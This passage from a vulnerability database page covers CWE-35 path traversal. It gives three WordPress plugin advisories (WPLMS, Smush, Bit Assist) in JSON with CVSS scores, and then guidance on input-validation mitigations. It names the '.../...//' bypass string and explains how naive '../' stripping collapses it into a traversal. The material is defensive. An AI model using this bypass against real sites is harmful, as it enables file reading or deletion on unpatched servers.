      "type": "CVSS_V3"
    }
  ]
}

GHSA-MRP4-383M-M7CQ

Vulnerability from github – Published: 2024-12-18 21:30 – Updated: 2026-04-01 18:32
VLAI
Details

Path Traversal: '.../...//' vulnerability in VibeThemes WPLMS allows Path Traversal.This issue affects WPLMS: from n/a before 1.9.9.5.2.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T19:15:12Z",
    "severity": "HIGH"
  },
  "details": "Path Traversal: \u0027.../...//\u0027 vulnerability in VibeThemes WPLMS allows Path Traversal.This issue affects WPLMS: from n/a before 1.9.9.5.2.",
  "id": "GHSA-mrp4-383m-m7cq",
  "modified": "2026-04-01T18:32:52Z",
  "published": "2024-12-18T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56049"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-subscriber-arbitrary-file-deletion-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-subscriber-arbitrary-file-deletion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWRG-545V-M46R

Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31
VLAI
Details

Path Traversal: '.../...//' vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through <= 3.17.0.

Severity
4.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-22288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-06T16:15:49Z",
    "severity": "MODERATE"
  },
  "details": "Path Traversal: \u0027.../...//\u0027 vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through \u003c= 3.17.0.",
  "id": "GHSA-mwrg-545v-m46r",
  "modified": "2026-01-20T15:31:45Z",
  "published": "2025-11-06T18:32:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22288"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P323-JGM4-XM6P

Vulnerability from github – Published: 2025-04-01 06:30 – Updated: 2026-04-01 18:34
VLAI
Details

Path Traversal vulnerability in Bit Apps Bit Assist allows Path Traversal. This issue affects Bit Assist: from n/a through 1.5.4.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T06:15:52Z",
    "severity": "HIGH"
  },
  "details": "Path Traversal vulnerability in Bit Apps Bit Assist allows Path Traversal. This issue affects Bit Assist: from n/a through 1.5.4.",
  "id": "GHSA-p323-jgm4-xm6p",
  "modified": "2026-04-01T18:34:17Z",
  "published": "2025-04-01T06:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30834"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/bit-assist/vulnerability/wordpress-bit-assist-plugin-1-5-4-path-traversal-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, the ".../...//" manipulation is useful for bypassing some path traversal protection schemes. If "../" sequences are removed from the ".../...//" string in a sequential fashion (as some regular expression engines and other algorithms operate) the string can collapse into the unsafe "../" value (CWE-182). Removing the first "../" yields "....//" and the second removal yields "../".
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list